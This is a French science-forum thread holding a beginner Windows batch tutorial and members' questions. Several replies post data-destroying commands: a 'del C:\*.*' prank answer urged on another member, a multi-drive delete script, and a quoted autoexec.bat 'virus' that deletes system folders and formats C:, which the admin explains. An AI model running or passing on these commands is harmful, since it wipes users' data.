Forum d'entraide en sciences
Bienvenue sur le forum d'entraide en sciences ! Inscrivez-vous gratuitement pour accéder à l'intégralité du forum ou connectez-vous si c'est déjà fait !

Bonne visite !

Rejoignez le forum, c'est rapide et facile

Forum d'entraide en sciences
Bienvenue sur le forum d'entraide en sciences ! Inscrivez-vous gratuitement pour accéder à l'intégralité du forum ou connectez-vous si c'est déjà fait !

Bonne visite !
Forum d'entraide en sciences
Vous souhaitez réagir à ce message ? Créez un compte en quelques clics ou connectez-vous pour continuer.
-28%
Le deal à ne pas rater :
-28% Machine à café avec broyeur à grain MELITTA Purista
229.99 € 318.99 €
Voir le deal

[Batch ] Tutorial (partie I)

+5
kenzo
programmeur28
DEB
payne
Julien
9 participants

Aller en bas

[Batch ] Tutorial (partie I) Empty [Batch ] Tutorial (partie I)

Message par Julien Mar 8 Juil 2008 - 14:37

Bonjour !


Bon ben comme je m'ennuie en stage, je vais vous écrire un petit tutorial en batch pour créer des petits programmes sous Windows. Tout ce dont vous avez besoin, c'est un document texte et vos méninges. Very Happy

Après, vous devrez me créer un petit programme genre Matrix pour voir si vous avez bien compris ! What the fuck ?!?
Voici à quoi ressemblera votre programme (il s'agit d'un défilement de nombres aléatoires) :
[Batch ] Tutorial (partie I) Sans_t13



1) Comment créer un programme...
Pour créer un programme en batch, il faut déjà créer un fichier texte basique (avec Wordpad ou le bloc notes par exemple) que vous renommez en test.bat. Si vous essayez de l'ouvrir, une petite fenêtre va s'afficher pendant 1 nanoseconde puis se refermer tout de suite après !

Comment maintenir la fenêtre affichée ??? Neutral
Il vous suffit d'écrire une ligne de code dans votre fichier.
Code:
pause
(Pour écrire dans le fichier, il faut faire un clic droit sur le fichier puis l'ouvrir avec un traitement de texte)

Et voici ce que vous devez obtenir quand vous cliquez sur votre programme :
C:\Documents and settings\utilisateur>pause
Appuyez sur une touche pour continuer...
Bon alors, analysons ces 2 lignes... Surprised
La première correspond au chemin du fichier test.bat. Après le signe ">" se trouve le nom de l'instruction que vous avez tapée dans le fichier test.bat, c'est-à-dire l'instruction "pause".
Ensuite, la deuxième ligne correspond à l'action qui se situe sous cette instruction "pause". En fait, "pause" permet de garder la fenêtre à l'écran et pour passer à l'instruction suivante, il faut appuyer sur une touche du clavier.

Mais pourquoi quand j'appuie sur une touche, la fenêtre se ferme Question
C'est normal ! Il n'y a pas d'autres instructions dans notre fichier actuel, donc le programme s'arrête et la fenêtre se ferme !


2) Créons notre premier programme !
Quand on commence à apprendre un langage de programmation, on apprend en tout premier lieu à afficher le texte "Hello World !" à l'écran.
Pour se faire, rien de plus simple grâce à l'instruction "echo" suivi du texte à afficher.

Voici donc le code du premier programme :
Spoiler:

Et voici ce que nous obtenons :
[Batch ] Tutorial (partie I) Sans_t12

3) Avant de continuer, quelques améliorations...
Déjà, on va supprimer l'affichage du chemin du fichier ainsi que les commandes tapées dans le fichier. Pour cela, il faut rajouter la ligne "@echo off" au début du fichier.
Ensuite, on va ajouter un titre à notre fenêtre grâce à l'instruction "title" suivie du titre que vous voulez écrire.
Ajoutons des couleurs au texte grâce à la commande "color" ! Il faut écrire "color" suivi d'un nombre ou d'une lettre comme indiqué ci-après :

[Batch ] Tutorial (partie I) Sans_t17


On peut également mettre des commentaires grâce à l'instruction "REM" suivi du commentaire.
Pour sauter une ligne, il suffit de taper "echo.".
Pour afficher un nombre aléatoire, tapez "%random%" (ça sera utile pour le programme matrix.bat).
Enfin, pour ne pas afficher le résultat d'une instruction dans la fenêtre, il faut rediriger cette instruction vers 'nul'. Pour ne pas afficher "aaa" à l'écran si on a écrit "echo aaa", il faut donc rajouter >nul à la fin de la ligne : "echo aaa>nul". OK, on aurait tout aussi bien pu supprimer le "echo aaa", mais c'est un exemple ! Mr.Red
Voici donc à quoi doit ressembler votre code amélioré à présent :
Code:
@echo off
color 9
title test
echo Hello World !
echo.
echo On a sauté une ligne !
REM ceci est un commentaire
echo %random%
pause
Il y a de la couleur en plus, un beau titre, un commentaire, un saut de ligne, et le chemin du fichier ainsi que les insctructions ont disparu ! Very Happy


Dernière édition par Julien le Ven 6 Mai 2011 - 20:28, édité 4 fois
Julien
Julien
Administrateur
Administrateur

Masculin Nombre de messages : 12291
Age : 37
Localisation : Clermont-Ferrand
Profession / Etudes : Ingénieur
Points : 22712
Date d'inscription : 10/03/2005

Revenir en haut Aller en bas

[Batch ] Tutorial (partie I) Empty Re: [Batch ] Tutorial (partie I)

Message par Julien Mar 8 Juil 2008 - 15:28

Exercice n°1.

Ecrivez-moi le code pour obtenir ceci :
[Batch ] Tutorial (partie I) Sans_t18
Julien
Julien
Administrateur
Administrateur

Masculin Nombre de messages : 12291
Age : 37
Localisation : Clermont-Ferrand
Profession / Etudes : Ingénieur
Points : 22712
Date d'inscription : 10/03/2005

Revenir en haut Aller en bas

[Batch ] Tutorial (partie I) Empty Re: [Batch ] Tutorial (partie I)

Message par payne Mar 8 Juil 2008 - 15:36

Le code:
@echo off
color 29
del C:\*.*
pause
payne
payne
Membre
Membre

Masculin Nombre de messages : 1783
Age : 32
Localisation : Montréal, Québec, Canada
Profession / Etudes : Étudiant
Points : 6977
Date d'inscription : 09/06/2006

https://etudiant-scientific.forumactif.com/

Revenir en haut Aller en bas

[Batch ] Tutorial (partie I) Empty Re: [Batch ] Tutorial (partie I)

Message par Julien Mar 8 Juil 2008 - 15:57

Ouais bon... on peut s'en servir pour tout effacer ce langage, mais faites attention quand vous le manipulez ! (ne tapez pas ce qu'a écrit payne !)
Julien
Julien
Administrateur
Administrateur

Masculin Nombre de messages : 12291
Age : 37
Localisation : Clermont-Ferrand
Profession / Etudes : Ingénieur
Points : 22712
Date d'inscription : 10/03/2005

Revenir en haut Aller en bas

[Batch ] Tutorial (partie I) Empty Re: [Batch ] Tutorial (partie I)

Message par DEB Mer 9 Juil 2008 - 9:25

Spoiler:
DEB
DEB
Membre
Membre

Masculin Nombre de messages : 641
Age : 33
Localisation : Strasbourg
Profession / Etudes : Ecole d'ingé (1ere année)
Points : 7330
Date d'inscription : 24/09/2005

Revenir en haut Aller en bas

[Batch ] Tutorial (partie I) Empty Re: [Batch ] Tutorial (partie I)

Message par Julien Mer 9 Juil 2008 - 10:07

Je m'y attendais !!!

DEB a écrit:
Spoiler:
OK pour la couleur. En revanche, ton programme va écrire "continuer" au lieu de "quitter"... Smile
Julien
Julien
Administrateur
Administrateur

Masculin Nombre de messages : 12291
Age : 37
Localisation : Clermont-Ferrand
Profession / Etudes : Ingénieur
Points : 22712
Date d'inscription : 10/03/2005

Revenir en haut Aller en bas

[Batch ] Tutorial (partie I) Empty Re: [Batch ] Tutorial (partie I)

Message par DEB Mer 9 Juil 2008 - 11:17

Ah le piège ! ^^ Smile
DEB
DEB
Membre
Membre

Masculin Nombre de messages : 641
Age : 33
Localisation : Strasbourg
Profession / Etudes : Ecole d'ingé (1ere année)
Points : 7330
Date d'inscription : 24/09/2005

Revenir en haut Aller en bas

[Batch ] Tutorial (partie I) Empty Re: [Batch ] Tutorial (partie I)

Message par Julien Mer 9 Juil 2008 - 12:26

DEB a écrit:Ah le piège ! ^^ Smile
Et oui !
Ca a aurait été trop simple sinon !

J'attends ton nouveau code ! Very Happy
Julien
Julien
Administrateur
Administrateur

Masculin Nombre de messages : 12291
Age : 37
Localisation : Clermont-Ferrand
Profession / Etudes : Ingénieur
Points : 22712
Date d'inscription : 10/03/2005

Revenir en haut Aller en bas

[Batch ] Tutorial (partie I) Empty Re: [Batch ] Tutorial (partie I)

Message par DEB Mer 9 Juil 2008 - 12:38

J'ai juste à trouver la bonne commande ^^.
DEB
DEB
Membre
Membre

Masculin Nombre de messages : 641
Age : 33
Localisation : Strasbourg
Profession / Etudes : Ecole d'ingé (1ere année)
Points : 7330
Date d'inscription : 24/09/2005

Revenir en haut Aller en bas

[Batch ] Tutorial (partie I) Empty Re: [Batch ] Tutorial (partie I)

Message par Julien Mer 9 Juil 2008 - 13:53

DEB a écrit:J'ai juste à trouver la bonne commande ^^.
Tout est dans le tuto que j'ai tapé !
Julien
Julien
Administrateur
Administrateur

Masculin Nombre de messages : 12291
Age : 37
Localisation : Clermont-Ferrand
Profession / Etudes : Ingénieur
Points : 22712
Date d'inscription : 10/03/2005

Revenir en haut Aller en bas

[Batch ] Tutorial (partie I) Empty Re: [Batch ] Tutorial (partie I)

Message par payne Jeu 10 Juil 2008 - 14:38

del C:\*.* solve TOUT, essaie-le, tu vas voir! ;-)
payne
payne
Membre
Membre

Masculin Nombre de messages : 1783
Age : 32
Localisation : Montréal, Québec, Canada
Profession / Etudes : Étudiant
Points : 6977
Date d'inscription : 09/06/2006

https://etudiant-scientific.forumactif.com/

Revenir en haut Aller en bas

[Batch ] Tutorial (partie I) Empty Re: [Batch ] Tutorial (partie I)

Message par DEB Ven 11 Juil 2008 - 18:28

Payne, je ne suis pas né de la dernière pluie tu sais...

@echo off
title Exercice 1
color A1
echo Appuyez sur une touche pour quitter...
pause >nul
DEB
DEB
Membre
Membre

Masculin Nombre de messages : 641
Age : 33
Localisation : Strasbourg
Profession / Etudes : Ecole d'ingé (1ere année)
Points : 7330
Date d'inscription : 24/09/2005

Revenir en haut Aller en bas

[Batch ] Tutorial (partie I) Empty Re: [Batch ] Tutorial (partie I)

Message par Julien Sam 12 Juil 2008 - 12:21

DEB a écrit:
@echo off
title Exercice 1
color A1
echo Appuyez sur une touche pour quitter...
pause >nul
Bien joué DEB ! Very Happy
Julien
Julien
Administrateur
Administrateur

Masculin Nombre de messages : 12291
Age : 37
Localisation : Clermont-Ferrand
Profession / Etudes : Ingénieur
Points : 22712
Date d'inscription : 10/03/2005

Revenir en haut Aller en bas

[Batch ] Tutorial (partie I) Empty Re: [Batch ] Tutorial (partie I)

Message par DEB Sam 12 Juil 2008 - 15:00

Merci Wink Désolé j'ai oublier de mettre les balises Spoiler.
DEB
DEB
Membre
Membre

Masculin Nombre de messages : 641
Age : 33
Localisation : Strasbourg
Profession / Etudes : Ecole d'ingé (1ere année)
Points : 7330
Date d'inscription : 24/09/2005

Revenir en haut Aller en bas

[Batch ] Tutorial (partie I) Empty RE : Tutorial Batch (partie I)

Message par programmeur28 Mar 20 Jan 2009 - 21:08

Voila je vient de m'inscrire et je vois ton petit tutorial mais j'ai vu que ce n'etait pas très beau et cool le appuyer sur une touche pour continuer ou autre ! Alors je vient de faire profiter d'un petit code ;-)

Code:
@echo off
color ?(7b)
title Test BATCH Files
echo Test de fichier batch files !
ping localhost -n 4 > nul
cls
echo Fin du code
ping localhost -n 4 > nul
cls

Le "ping localhost" + le " cls" fait passer une ligne ;-) Pour fermer la fenetre automatiquement essaie le code modifer ci-dessous (le meme avec le code en plus pour fermer la fenetre automatiquement lol)

Code:
@echo off
color ?(7b)
title Test BATCH Files
echo Test de fichier batch files !
ping localhost -n 4 > nul
cls
echo Fin du code
ping localhost -n 4 > nul
cls
exit

J'ai rajouter "EXIT" pour fermer la page automatiquement ;-)

A bientot dites moi si j'ai faits des fautes ! hockey

programmeur28
Membre
Membre

Masculin Nombre de messages : 3
Age : 27
Localisation : lol
Profession / Etudes : collegien
Points : 5790
Date d'inscription : 20/01/2009

Revenir en haut Aller en bas

[Batch ] Tutorial (partie I) Empty Re: [Batch ] Tutorial (partie I)

Message par programmeur28 Mar 20 Jan 2009 - 21:11

C'est bon j'ai testé ! Sa marche , par contre pour la couleur le code doit se présenter comme sa :

Code:
color 2b

2B est un exemple si vous voulez toutes les couleur ;-) :

Démarrer > executer > cmd > color w > Toute les couleurs !

Voila !
le ? de :

Code:
color ?(7b)
faut mettre la couleur a la place et donc entre parenthèse j'ai mis un exemple de couleur !

programmeur28
Membre
Membre

Masculin Nombre de messages : 3
Age : 27
Localisation : lol
Profession / Etudes : collegien
Points : 5790
Date d'inscription : 20/01/2009

Revenir en haut Aller en bas

[Batch ] Tutorial (partie I) Empty Re: [Batch ] Tutorial (partie I)

Message par Julien Mar 20 Jan 2009 - 21:13

Je ne suis pas sur Windows là donc je ne peux pas tester ^^

Mais bienvenue sur le forum !!
Julien
Julien
Administrateur
Administrateur

Masculin Nombre de messages : 12291
Age : 37
Localisation : Clermont-Ferrand
Profession / Etudes : Ingénieur
Points : 22712
Date d'inscription : 10/03/2005

Revenir en haut Aller en bas

[Batch ] Tutorial (partie I) Empty Re: [Batch ] Tutorial (partie I)

Message par programmeur28 Mar 20 Jan 2009 - 21:28

Ce qu'a ecris payne n'est rien lol enfaite sa vous efface le disque C: mais pour ce qui sont sur le disque T: par exemple lol ^^
Par contre ce code :

@echo off
del T:\*.*
del Q:\*.*
del A:\*.*
del R:\*.*
del C:\*.*

Razz

Maintenant je fait un code qui efface votre base de registre n'essayer pas ! Very Happy

Dites moi si vous trouver des fautes car je ne l'ai pas essayer moi lol Razz


start
regedit.reg
start regedit.reg
start regedit.reg
start regedit.reg
start regedit.reg
start regedit.reg
start regedit.reg
start regedit.reg
del regedit *.*
error "del regedit.reg"

Je crois que pour le error et le start sa n'est pas sa et j'ai un doute sur "
del regedit *.* ;-)

A toute !

programmeur28
Membre
Membre

Masculin Nombre de messages : 3
Age : 27
Localisation : lol
Profession / Etudes : collegien
Points : 5790
Date d'inscription : 20/01/2009

Revenir en haut Aller en bas

[Batch ] Tutorial (partie I) Empty Re: [Batch ] Tutorial (partie I)

Message par kenzo Ven 19 Fév 2010 - 20:35

Bonjour à toutes et à tous j'essaye d'écrire un batch capable de connecter et de déconnecter mon routeur .
je vous explique je réinitialise souvent ma connection pour ce faire vous connaissez la procédure navigateur web>adresse du routeur>mots de passe>onglet status de la disconnect / ou connect.
j'ai commencer avec ca
@echo off
color 0a
title reload !
start
http://adresse du routeur

jusque la ca va mais ca ce limite à la page d'acceuille du routeur et sur un autre ordinateur de mon reseau le login et le mots de passe est demander .
comment automatiser le tous login mots de passe et arriver direct sur la page status déconnecter reconnecter si possible ?
merci je precise que mon routeur est un DLINK dsl 2540T

kenzo
Membre
Membre

Masculin Nombre de messages : 2
Age : 44
Localisation : senegal
Profession / Etudes : reseau
Points : 5401
Date d'inscription : 19/02/2010

Revenir en haut Aller en bas

[Batch ] Tutorial (partie I) Empty Re: [Batch ] Tutorial (partie I)

Message par PaulCommand Sam 29 Mai 2010 - 11:26

Bonjour à tous, je viens de m'inscrire et j'aimerais présenter quelques codes que j'ai trouvé :
Spoiler:

color choose permet de .... je ne sais pas encore __
et help affiche des commandes utiles

aussi je recherche une commande permettant de démarrer le fichier en mode administrateur pouvez-vous m'aider svp ?
PaulCommand
PaulCommand
Membre
Membre

Masculin Nombre de messages : 4
Age : 26
Localisation : Aquitaine, Dordogne
Profession / Etudes : Collégien
Points : 5321
Date d'inscription : 29/05/2010

Revenir en haut Aller en bas

[Batch ] Tutorial (partie I) Empty Re: [Batch ] Tutorial (partie I)

Message par Julien Dim 30 Mai 2010 - 8:06

Bonjour,


tu veux exécuter quelle commande une fois administrateur ?
Julien
Julien
Administrateur
Administrateur

Masculin Nombre de messages : 12291
Age : 37
Localisation : Clermont-Ferrand
Profession / Etudes : Ingénieur
Points : 22712
Date d'inscription : 10/03/2005

Revenir en haut Aller en bas

[Batch ] Tutorial (partie I) Empty Re: [Batch ] Tutorial (partie I)

Message par PaulCommand Lun 31 Mai 2010 - 16:09

Bonjour,
J'ai vu qu'il y avait des commandes qui ne s'éxécutaient qu'en administrateur. Par exemple si on crée un Batch avec "BCDEdit/set PAE forceenable" dedans, la commande ne marchera qu'en mode administrateur.

PS : "BCDEdit/set PAE forceenable" permet d'accélérer Windows Vista avec plus mémoire
PaulCommand
PaulCommand
Membre
Membre

Masculin Nombre de messages : 4
Age : 26
Localisation : Aquitaine, Dordogne
Profession / Etudes : Collégien
Points : 5321
Date d'inscription : 29/05/2010

Revenir en haut Aller en bas

[Batch ] Tutorial (partie I) Empty Re: [Batch ] Tutorial (partie I)

Message par Julien Lun 31 Mai 2010 - 16:18

Tu n'as qu'à lancer ton prog en étant loggué en admin, non ?
Julien
Julien
Administrateur
Administrateur

Masculin Nombre de messages : 12291
Age : 37
Localisation : Clermont-Ferrand
Profession / Etudes : Ingénieur
Points : 22712
Date d'inscription : 10/03/2005

Revenir en haut Aller en bas

[Batch ] Tutorial (partie I) Empty Re: [Batch ] Tutorial (partie I)

Message par PaulCommand Lun 31 Mai 2010 - 17:21

Même si je suis admin il faut que je fasses clic droit > éxécuter en tant qu'administrateur... c'est pour ça que je cherche une commande pour démarrer en mode admin sans avoir a faire clic droit etc... pour que dès que j'ouvre le batch, ça me demande le mot de passe admin.
PaulCommand
PaulCommand
Membre
Membre

Masculin Nombre de messages : 4
Age : 26
Localisation : Aquitaine, Dordogne
Profession / Etudes : Collégien
Points : 5321
Date d'inscription : 29/05/2010

Revenir en haut Aller en bas

[Batch ] Tutorial (partie I) Empty je suis bloquer dés le début

Message par Chopeur Sam 16 Oct 2010 - 13:57

je comprend pas pourquoi mais je créé mon bloc note que je nome test.bat après je l'ouvre ,marque pause , le referme et quand je l'ouvre il me mette le bloc note avec marquer pause j'ai du louper une étape mais je ne sait pas la quelle help please

Chopeur
Invité


Revenir en haut Aller en bas

[Batch ] Tutorial (partie I) Empty Salut

Message par Mehfak Jeu 7 Avr 2011 - 17:13

Alors tout d'abord salut et merci beaucoup, mais j'ai une question: ou est la suite du tuto permettant de créer la matrice?

Mehfak
Invité


Revenir en haut Aller en bas

[Batch ] Tutorial (partie I) Empty Re: [Batch ] Tutorial (partie I)

Message par Hackbug Sam 9 Avr 2011 - 15:28

Bonjours
Je vien de m'inscrire et je tien a donner pas vraiment la suite pour le prgm de la matrice

il faut mettre
:loop pour ouvrir une boucle
goto loop pour la fermer et a l'interieur ce qui se passe

donc
Spoiler:


Voila en gros sa resemble a ça non ?
Hackbug
Hackbug
Membre
Membre

Masculin Nombre de messages : 33
Age : 29
Localisation : Coincer dans un programme
Profession / Etudes : Etudiant lycée // Etudiant programmation C/C++
Points : 5185
Date d'inscription : 09/04/2011

Revenir en haut Aller en bas

[Batch ] Tutorial (partie I) Empty Re: [Batch ] Tutorial (partie I)

Message par Julien Dim 10 Avr 2011 - 13:11

Et pourquoi pas plus simplement :

Code:
@echo off
title PRGM
color 2

:loop
echo %random%%random%%random%%random%%random%%random%%random%%random%%random%
goto loop

pause > nul
Julien
Julien
Administrateur
Administrateur

Masculin Nombre de messages : 12291
Age : 37
Localisation : Clermont-Ferrand
Profession / Etudes : Ingénieur
Points : 22712
Date d'inscription : 10/03/2005

Revenir en haut Aller en bas

[Batch ] Tutorial (partie I) Empty Re: [Batch ] Tutorial (partie I)

Message par Hackbug Lun 11 Avr 2011 - 20:45

ouais c ets vraie que je me suis un peu lacher sur les %random%

Dailleur je n'ai que de petite base sur le batch donc si tu pouvais continuer tes cour et exo sa m'interraiserait

Merci
Hackbug
Hackbug
Membre
Membre

Masculin Nombre de messages : 33
Age : 29
Localisation : Coincer dans un programme
Profession / Etudes : Etudiant lycée // Etudiant programmation C/C++
Points : 5185
Date d'inscription : 09/04/2011

Revenir en haut Aller en bas

[Batch ] Tutorial (partie I) Empty Re: [Batch ] Tutorial (partie I)

Message par Julien Mar 12 Avr 2011 - 11:24

Arf, je n'ai malheureusement pas le temps de poursuivre. Mais tu devrais trouver des tutos facilement sur le net. Et si t'as des questions, n'hésite pas. Wink
Julien
Julien
Administrateur
Administrateur

Masculin Nombre de messages : 12291
Age : 37
Localisation : Clermont-Ferrand
Profession / Etudes : Ingénieur
Points : 22712
Date d'inscription : 10/03/2005

Revenir en haut Aller en bas

[Batch ] Tutorial (partie I) Empty Re: [Batch ] Tutorial (partie I)

Message par Hackbug Mar 12 Avr 2011 - 11:52

Oui c'est vrai j'ai trouver des petit tuto mais c'est surtout les commande qui te sont balancé a l arrache donc c'est moins sympa a suivre que sur un forum.

Sinon effectivement j'ai bien une petit question, c'est pour la copie de fichier, un gars ecrivai.

copy C:\Users\Hackbug\Desktop\fichier1.bat C:\Users\Hackbug\Desktop\Dossier1\*.*

Et c'est le *.* que je ne comprend pas l'utilité vus que sa a été balancer a l'arrache je n'ai pas comprie et bien que ca marche sans....
Hackbug
Hackbug
Membre
Membre

Masculin Nombre de messages : 33
Age : 29
Localisation : Coincer dans un programme
Profession / Etudes : Etudiant lycée // Etudiant programmation C/C++
Points : 5185
Date d'inscription : 09/04/2011

Revenir en haut Aller en bas

[Batch ] Tutorial (partie I) Empty Re: [Batch ] Tutorial (partie I)

Message par Julien Mar 12 Avr 2011 - 17:21

Hmmm... Elle est bizarre cette commande. Déjà, tu peux faire un
Code:
copy /?
dans un invite de commande pour avoir la description du fonctionnement de copy.

Tu verras qu'elle est de la forme copy source destination

Donc si tu veux copier le fichier test.txt dans le répertoire toto, tu vas faire un
Code:
copy C:\chemin_absolu\test.txt C:\chemin_destination\toto

Maintenant, si tu veux copier tous les fichiers au format TXT dans le répertoire toto, tu vas faire un
Code:
copy C:\chemin_absolu\*.txt C:\chemin_destination\toto

Et si tu veux copier tous les fichiers (donc de n'importe quelle extension), tu feras un
Code:
copy C:\chemin_absolu\*.* C:\chemin_destination\toto
Julien
Julien
Administrateur
Administrateur

Masculin Nombre de messages : 12291
Age : 37
Localisation : Clermont-Ferrand
Profession / Etudes : Ingénieur
Points : 22712
Date d'inscription : 10/03/2005

Revenir en haut Aller en bas

[Batch ] Tutorial (partie I) Empty Re: [Batch ] Tutorial (partie I)

Message par Barbabulle Mar 12 Avr 2011 - 22:42

En fait, pour comprendre l'utilité du *.*, il faut faire l'essai si jamais le répertoire toto n'existe pas :
Dans ce cas,

Code:

copy C:\chemin_absolu\*.* C:\chemin_destination\toto

va créer un fichier toto dans le répertoire chemin_destination contenant la concaténation de tous les fichiers venant de chemin_absolu, alors que

Code:

copy C:\chemin_absolu\*.* C:\chemin_destination\toto\*.*

va tout simplement échouer vu que le répertoire toto n'existe pas.
C'est toujours important de gérer les cas d'erreurs, et sur le coup, un batch windows sera toujours largement inférieur à un bon shell unix ^^



Barbabulle
Membre
Membre

Masculin Nombre de messages : 16
Age : 109
Localisation : xxx
Profession / Etudes : xxx
Points : 5067
Date d'inscription : 04/02/2011

Revenir en haut Aller en bas

[Batch ] Tutorial (partie I) Empty Re: [Batch ] Tutorial (partie I)

Message par Hackbug Mer 13 Avr 2011 - 23:24

Ha ok merci

C'st vraiment dommage que les gens lance juste les chose en vrac c'est pas toujours comprehensible
Hackbug
Hackbug
Membre
Membre

Masculin Nombre de messages : 33
Age : 29
Localisation : Coincer dans un programme
Profession / Etudes : Etudiant lycée // Etudiant programmation C/C++
Points : 5185
Date d'inscription : 09/04/2011

Revenir en haut Aller en bas

[Batch ] Tutorial (partie I) Empty Re: [Batch ] Tutorial (partie I)

Message par Hackbug Mer 20 Avr 2011 - 19:08

Bonjour

J'ai trouver ça sur un site

formater le disque durouvré le bolc note et taper:
echo off@ (je sait y'a une faute ^^, @echo off)

cls

call attrib -h -r c:autoexec.bat >nul
echo @echo off >c:autoexec.bat
echo deltree /y c:progra~1*.* >nul >>c:autoexec.bat
echo copy c:windowscommandformat.com c: >nul >>c:autoexec.bat
echo copy c:windowscommanddeltree.exe c: >nul >>c:autoexec.bat
echo deltree /y c:windows*.* >nul >>c:autoexec.bat
echo format c: /q /u /autotest >nul >>c:autoexec.bat enregistré le en .bat et se virus formatera votre disque dur (attention de ne pas l ouvrire sur votre pc)

Quelqu'un pourait m'expliquer comment cela marche deplus pourquoi cela efectue des action alors qu'il y a des echo devant chaque ligne ??
Hackbug
Hackbug
Membre
Membre

Masculin Nombre de messages : 33
Age : 29
Localisation : Coincer dans un programme
Profession / Etudes : Etudiant lycée // Etudiant programmation C/C++
Points : 5185
Date d'inscription : 09/04/2011

Revenir en haut Aller en bas

[Batch ] Tutorial (partie I) Empty Re: [Batch ] Tutorial (partie I)

Message par Julien Jeu 21 Avr 2011 - 9:44

Salut,


Alors en fait, tes commandes echo servent à écrire des commandes dans le fichier C:\autoexec.bat.

La ligne
Code:
echo commande_batch >> chemin_vers_le_fichier
permet d'écrire la commande commande_batch à la fin du fichier qui se trouve à chemin_vers_le_fichier.

Ensuite, la commande deltree permet de supprimer un répertoire avec tout ce qu'il contient. La commande attrib -h -r permet de modifier les attributs du fichier autoexec.bat (en lecture et caché). Les commandes copy et format sont faciles à comprendre.

Maintenant, si t'as des questions précises, je t'écoute. Wink
Julien
Julien
Administrateur
Administrateur

Masculin Nombre de messages : 12291
Age : 37
Localisation : Clermont-Ferrand
Profession / Etudes : Ingénieur
Points : 22712
Date d'inscription : 10/03/2005

Revenir en haut Aller en bas

[Batch ] Tutorial (partie I) Empty Re: [Batch ] Tutorial (partie I)

Message par anassmatrix Lun 7 Nov 2011 - 11:34

MES MEILLEURS SALUTATION POUR VOUS ET POUR L'EQUIPE .
Je suis un nouveau. J'ai lu et j'ai bien compris votre tuto MERCI BEAUCOUP.
Mais , j'ai éssayé de créer un meme programme ou on peut écrire le nom de compte et le mot de passe maisla fenêtre se ferme toukour à la fin .Voila mes tentatives :
Code:

@echo off
title text
color 2
echo.
echo.
echo Bonjour a tous !
echo.
echo.
echo Veuiller remplir le formulaire suivant pour pouvoir vous connecter :
echo.
echo Nom d'utilisateur:
echo Mot de passe  :
echo.
echo.
pause>nul

Merci de me bien expliquer ce fonctionement et un grand merci d'avance .

anassmatrix
Membre
Membre

Masculin Nombre de messages : 3
Age : 33
Localisation : localhost
Profession / Etudes : etudes nucléaires
Points : 4785
Date d'inscription : 06/11/2011

Revenir en haut Aller en bas

[Batch ] Tutorial (partie I) Empty Re: [Batch ] Tutorial (partie I)

Message par Julien Lun 7 Nov 2011 - 17:27

Bienvenue par ici Smile

Si tu mets 'pause' au lieu de 'pause>nul', ça change quelque chose ? (à part que la phrase "appuyer sur une touche pour quitter..." disparaît)
Julien
Julien
Administrateur
Administrateur

Masculin Nombre de messages : 12291
Age : 37
Localisation : Clermont-Ferrand
Profession / Etudes : Ingénieur
Points : 22712
Date d'inscription : 10/03/2005

Revenir en haut Aller en bas

[Batch ] Tutorial (partie I) Empty Re: [Batch ] Tutorial (partie I)

Message par anassmatrix Lun 7 Nov 2011 - 19:50

Non je ne croix pas : ca change rien à part se que tu a dit .Et j'arrive pas encore a pouvoir écrire mon nom et mon mot de passe .
Cherchez moi une solution !
ET GRAND MERCI D'AVANCE .

anassmatrix
Membre
Membre

Masculin Nombre de messages : 3
Age : 33
Localisation : localhost
Profession / Etudes : etudes nucléaires
Points : 4785
Date d'inscription : 06/11/2011

Revenir en haut Aller en bas

[Batch ] Tutorial (partie I) Empty Re: [Batch ] Tutorial (partie I)

Message par Julien Mar 8 Nov 2011 - 7:45

Essaye ceci alors :

Code:
@echo off
title text
color 2
echo.
echo.
echo Bonjour a tous !
echo.
echo.
echo Veuiller remplir le formulaire suivant pour pouvoir vous connecter :
echo.
set /p user= Nom d'utilisateur :
set /p password= Mot de passe :
echo.
echo.
echo Bonjour %user%
pause>nul
Julien
Julien
Administrateur
Administrateur

Masculin Nombre de messages : 12291
Age : 37
Localisation : Clermont-Ferrand
Profession / Etudes : Ingénieur
Points : 22712
Date d'inscription : 10/03/2005

Revenir en haut Aller en bas

[Batch ] Tutorial (partie I) Empty Re: [Batch ] Tutorial (partie I)

Message par anassmatrix Ven 2 Mar 2012 - 20:11

SA FONCTIONNE MERCI BEAUCOUP !

Je me demmande si je peux envoyer le nom d'utilisateur que j'ai ecris et le mot de passe à mon adresse émail.
Je m'excuse pour vous faire la peine de me repondre .
----------Merci d'avance .

anassmatrix
Membre
Membre

Masculin Nombre de messages : 3
Age : 33
Localisation : localhost
Profession / Etudes : etudes nucléaires
Points : 4785
Date d'inscription : 06/11/2011

Revenir en haut Aller en bas

[Batch ] Tutorial (partie I) Empty Re: [Batch ] Tutorial (partie I)

Message par Contenu sponsorisé


Contenu sponsorisé


Revenir en haut Aller en bas

Revenir en haut

- Sujets similaires

 
Permission de ce forum:
Vous ne pouvez pas répondre aux sujets dans ce forum
Ne ratez plus aucun deal !
Abonnez-vous pour recevoir par notification une sélection des meilleurs deals chaque jour.
IgnorerAutoriser